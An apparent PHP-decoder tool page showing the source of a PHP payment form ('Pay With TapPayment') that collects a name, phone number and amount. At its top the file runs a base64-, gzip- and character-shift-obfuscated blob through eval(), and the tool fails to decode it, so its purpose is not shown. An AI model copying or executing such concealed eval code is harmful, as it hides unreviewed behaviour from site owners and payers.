Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function bXnUpw($Vhci) { $Vhci=gzinflate(base64_decode($Vhci)); for($i=0;$i<str..
Decoded Output download
<?php function bXnUpw($Vhci)
{
$Vhci=gzinflate(base64_decode($Vhci));
for($i=0;$i<strlen($Vhci);$i++)
{
$Vhci[$i] = chr(ord($Vhci[$i])-1);
}
return $Vhci;
}eval(bXnUpw("bZJrS8MwFIZ/wH7FIQzaQplTmKCjzlvBD+7iNv1SSontmQ2kTU1bcYi/3SS9bKjph5KT5zycvARAr4HE95pJjEQeo22xPOZ1guVJijQZFWlhOdMB24ENw2jjr1/8dWCt/adnf7ON5v72YXlvheB5Hlir5WZrgQNfA60d0kzUeQUesLz6oNweRhoIrKaummYzmIxB2Q2+q/mCZqh4/Cy4SNAGoj5XHbWNijBI00pu0gwTmItUlRLSaYpU5FpSVjKSWHAa9yJibJVkWT+LoVvfpF3E6VyxHlTu79QwyviG1Urjt7REXeolR5gVOsZ1cT4hnaQuK5GhVIbAVADIjsmyinI1OPGu+qsH42aQhdA74nZ0xpKE41/8tMEPIKf/Wc9+Y5hRxg3SXsAUmhTsNsARkOuSck5HJSWOiq1rNse6ubuMqrUBRLFKwHiPEnEPWF5nrygNYCztSWj+4bTdDmvJVVYF3dvdE3IPKTodpl8nSps8iphWTOSXppH05wlD22y+fwA="));?>
<style>
.iti__selected-country{
background-color: snow;
}
</style>
<div class="d-flex flex-column vh-100">
<div class="container my-5 ">
<div class="row">
<div class="col-md-6 offset-md-3">
<h1 class="text-center">
<?= $config['site']['name'] ?? "Pay With TapPayment" ?>
<img src="assets/img/logo.png" style="border-radius: 13px;" alt="Fox Store Pay" width="84"
height="84">
</h1>
</div>
</div>
</div>
<form method="post" class="container mb-auto needs-validation" novalidate>
<div class="row">
<div class="col-md-8 offset-md-2">
<div class="input-group mb-3">
<span class="input-group-text" id="name-addon">
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor"
class="bi bi-person-circle" viewBox="0 0 16 16">
<path d="M11 6a3 3 0 1 1-6 0 3 3 0 0 1 6 0" />
<path fill-rule="evenodd"
d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8m8-7a7 7 0 0 0-5.468 11.37C3.242 11.226 4.805 10 8 10s4.757 1.225 5.468 2.37A7 7 0 0 0 8 1" />
</svg>
</span>
<input type="text" required name="fullName" class="form-control form-control-lg"
placeholder=" " aria-label="full-name" aria-describedby="name-addon">
<div class="invalid-feedback">
</div>
</div>
</div>
<div class="col-md-8 offset-md-2">
<div class="input-group mb-3">
<input id="phone" type="tel" name="phone" dir="ltr" required placeholder=""
class="form-control form-control-lg" />
<div id="phone-output">
</div>
</div>
</div>
<div class="col-md-8 offset-md-2">
<div class="input-group mb-3">
<span class="input-group-text"></span>
<input type="number" min="1" name="amount" required class="form-control form-control-lg"
aria-label="Amount">
<div class="invalid-feedback">
</div>
</div>
</div>
<div class="col-md-8 offset-md-2">
<button type="submit" class="btn btn-primary w-100"> </button>
</div>
<div class="col-md-8 offset-md-2 mt-4">
<a href="<?= $config["contacts"]["telegram"] ?? "" ?>" target="_blank" class="btn btn-primary w-100">
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor"
class="bi bi-telegram" viewBox="0 0 16 16">
<path
d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0M8.287 5.906q-1.168.486-4.666 2.01-.567.225-.595.442c-.03.243.275.339.69.47l.175.055c.408.133.958.288 1.243.294q.39.01.868-.32 3.269-2.206 3.374-2.23c.05-.012.12-.026.166.016s.042.12.037.141c-.03.129-1.227 1.241-1.846 1.817-.193.18-.33.307-.358.336a8 8 0 0 1-.188.186c-.38.366-.664.64.015 1.088.327.216.589.393.85.571.284.194.568.387.936.629q.14.092.27.187c.331.236.63.448.997.414.214-.02.435-.22.547-.82.265-1.417.786-4.486.906-5.751a1.4 1.4 0 0 0-.013-.315.34.34 0 0 0-.114-.217.53.53 0 0 0-.31-.093c-.3.005-.763.166-2.984 1.09">
</path>
</svg>
</a>
</div>
</div>
</form>
<?php require_once( __DIR__ . "/includes/footer.php") ?>
<script>
const input = document.querySelector("#phone");
const output = document.querySelector("#phone-output");
window.iti = window.intlTelInput(input, {
i18n: telAr,
nationalMode: true,
geoIpLookup: callback => {
fetch("https://ipapi.co/json")
.then(res => res.json())
.then(data => callback(data.country_code))
.catch(() => callback("sa"));
},
hiddenInput: () => ({
phone: "fullPhone",
country: "countryCode"
}),
onlyCountries: [
'qa', 'sa', 'ae', 'ma', 'bh', 'om', 'kw', 'jo', 'eg', 'sy', 'tn', 'ly', 'ps', 'dz', 'mr', 'lb',
'sd', 'iq', 'ye', 'dj', 'so', 'km'
],
utilsScript: "/assets/js/utils.js"
});
const handleChange = () => {
let text = "";
if (!input.value || !iti.isValidNumber()) {
text = " ";
}
output.innerHTML = "";
output.appendChild(document.createTextNode(text));
};
// listen to "keyup", but also "change" to update when the user selects a country
input.addEventListener('change', handleChange);
input.addEventListener('keyup', handleChange);
</script>
<script>
(() => {
'use strict'
// Fetch all the forms we want to apply custom Bootstrap validation styles to
const forms = document.querySelectorAll('.needs-validation')
// Loop over them and prevent submission
Array.from(forms).forEach(form => {
form.addEventListener('submit', event => {
const phoneInput = document.querySelector("#phone");
if (!form.checkValidity()) {
if (!phoneInput.value || !iti.isValidNumber()) {
document.querySelector("#phone").classList.add("is-invalid",
"was-validated");
document.querySelector("#phone-output").innerHTML =
" ";
}
event.preventDefault()
event.stopPropagation()
} else if (!phoneInput.value || !iti.isValidNumber()) {
console.log(iti.isValidNumber());
document.querySelector("#phone").classList.add("is-invalid", "was-validated");
document.querySelector("#phone-output").innerHTML =
" ";
event.preventDefault()
event.stopPropagation()
}else{
document.querySelector("#phone").classList.remove("is-invalid", "was-validated");
document.querySelector("#phone-output").innerHTML = "";
}
form.classList.add('was-validated')
}, false)
})
document.querySelector("#phone").classList.remove("is-invalid", "was-validated");
})()
</script>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
<?php function bXnUpw($Vhci)
{
$Vhci=gzinflate(base64_decode($Vhci));
for($i=0;$i<strlen($Vhci);$i++)
{
$Vhci[$i] = chr(ord($Vhci[$i])-1);
}
return $Vhci;
}eval(bXnUpw("bZJrS8MwFIZ/wH7FIQzaQplTmKCjzlvBD+7iNv1SSontmQ2kTU1bcYi/3SS9bKjph5KT5zycvARAr4HE95pJjEQeo22xPOZ1guVJijQZFWlhOdMB24ENw2jjr1/8dWCt/adnf7ON5v72YXlvheB5Hlir5WZrgQNfA60d0kzUeQUesLz6oNweRhoIrKaummYzmIxB2Q2+q/mCZqh4/Cy4SNAGoj5XHbWNijBI00pu0gwTmItUlRLSaYpU5FpSVjKSWHAa9yJibJVkWT+LoVvfpF3E6VyxHlTu79QwyviG1Urjt7REXeolR5gVOsZ1cT4hnaQuK5GhVIbAVADIjsmyinI1OPGu+qsH42aQhdA74nZ0xpKE41/8tMEPIKf/Wc9+Y5hRxg3SXsAUmhTsNsARkOuSck5HJSWOiq1rNse6ubuMqrUBRLFKwHiPEnEPWF5nrygNYCztSWj+4bTdDmvJVVYF3dvdE3IPKTodpl8nSps8iphWTOSXppH05wlD22y+fwA="));?>
<style>
.iti__selected-country{
background-color: snow;
}
</style>
<div class="d-flex flex-column vh-100">
<div class="container my-5 ">
<div class="row">
<div class="col-md-6 offset-md-3">
<h1 class="text-center">
<?= $config['site']['name'] ?? "Pay With TapPayment" ?>
<img src="assets/img/logo.png" style="border-radius: 13px;" alt="Fox Store Pay" width="84"
height="84">
</h1>
</div>
</div>
</div>
<form method="post" class="container mb-auto needs-validation" novalidate>
<div class="row">
<div class="col-md-8 offset-md-2">
<div class="input-group mb-3">
<span class="input-group-text" id="name-addon">
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor"
class="bi bi-person-circle" viewBox="0 0 16 16">
<path d="M11 6a3 3 0 1 1-6 0 3 3 0 0 1 6 0" />
<path fill-rule="evenodd"
d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8m8-7a7 7 0 0 0-5.468 11.37C3.242 11.226 4.805 10 8 10s4.757 1.225 5.468 2.37A7 7 0 0 0 8 1" />
</svg>
</span>
<input type="text" required name="fullName" class="form-control form-control-lg"
placeholder=" " aria-label="full-name" aria-describedby="name-addon">
<div class="invalid-feedback">
</div>
</div>
</div>
<div class="col-md-8 offset-md-2">
<div class="input-group mb-3">
<input id="phone" type="tel" name="phone" dir="ltr" required placeholder=""
class="form-control form-control-lg" />
<div id="phone-output">
</div>
</div>
</div>
<div class="col-md-8 offset-md-2">
<div class="input-group mb-3">
<span class="input-group-text"></span>
<input type="number" min="1" name="amount" required class="form-control form-control-lg"
aria-label="Amount">
<div class="invalid-feedback">
</div>
</div>
</div>
<div class="col-md-8 offset-md-2">
<button type="submit" class="btn btn-primary w-100"> </button>
</div>
<div class="col-md-8 offset-md-2 mt-4">
<a href="<?= $config["contacts"]["telegram"] ?? "" ?>" target="_blank" class="btn btn-primary w-100">
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor"
class="bi bi-telegram" viewBox="0 0 16 16">
<path
d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0M8.287 5.906q-1.168.486-4.666 2.01-.567.225-.595.442c-.03.243.275.339.69.47l.175.055c.408.133.958.288 1.243.294q.39.01.868-.32 3.269-2.206 3.374-2.23c.05-.012.12-.026.166.016s.042.12.037.141c-.03.129-1.227 1.241-1.846 1.817-.193.18-.33.307-.358.336a8 8 0 0 1-.188.186c-.38.366-.664.64.015 1.088.327.216.589.393.85.571.284.194.568.387.936.629q.14.092.27.187c.331.236.63.448.997.414.214-.02.435-.22.547-.82.265-1.417.786-4.486.906-5.751a1.4 1.4 0 0 0-.013-.315.34.34 0 0 0-.114-.217.53.53 0 0 0-.31-.093c-.3.005-.763.166-2.984 1.09">
</path>
</svg>
</a>
</div>
</div>
</form>
<?php require_once( __DIR__ . "/includes/footer.php") ?>
<script>
const input = document.querySelector("#phone");
const output = document.querySelector("#phone-output");
window.iti = window.intlTelInput(input, {
i18n: telAr,
nationalMode: true,
geoIpLookup: callback => {
fetch("https://ipapi.co/json")
.then(res => res.json())
.then(data => callback(data.country_code))
.catch(() => callback("sa"));
},
hiddenInput: () => ({
phone: "fullPhone",
country: "countryCode"
}),
onlyCountries: [
'qa', 'sa', 'ae', 'ma', 'bh', 'om', 'kw', 'jo', 'eg', 'sy', 'tn', 'ly', 'ps', 'dz', 'mr', 'lb',
'sd', 'iq', 'ye', 'dj', 'so', 'km'
],
utilsScript: "/assets/js/utils.js"
});
const handleChange = () => {
let text = "";
if (!input.value || !iti.isValidNumber()) {
text = " ";
}
output.innerHTML = "";
output.appendChild(document.createTextNode(text));
};
// listen to "keyup", but also "change" to update when the user selects a country
input.addEventListener('change', handleChange);
input.addEventListener('keyup', handleChange);
</script>
<script>
(() => {
'use strict'
// Fetch all the forms we want to apply custom Bootstrap validation styles to
const forms = document.querySelectorAll('.needs-validation')
// Loop over them and prevent submission
Array.from(forms).forEach(form => {
form.addEventListener('submit', event => {
const phoneInput = document.querySelector("#phone");
if (!form.checkValidity()) {
if (!phoneInput.value || !iti.isValidNumber()) {
document.querySelector("#phone").classList.add("is-invalid",
"was-validated");
document.querySelector("#phone-output").innerHTML =
" ";
}
event.preventDefault()
event.stopPropagation()
} else if (!phoneInput.value || !iti.isValidNumber()) {
console.log(iti.isValidNumber());
document.querySelector("#phone").classList.add("is-invalid", "was-validated");
document.querySelector("#phone-output").innerHTML =
" ";
event.preventDefault()
event.stopPropagation()
}else{
document.querySelector("#phone").classList.remove("is-invalid", "was-validated");
document.querySelector("#phone-output").innerHTML = "";
}
form.classList.add('was-validated')
}, false)
})
document.querySelector("#phone").classList.remove("is-invalid", "was-validated");
})()
</script>
</div>
</body>
</html>
Function Calls
None |
Stats
MD5 | 01442a124218a1939f3edb83360ca53b |
Eval Count | 0 |
Decode Time | 44 ms |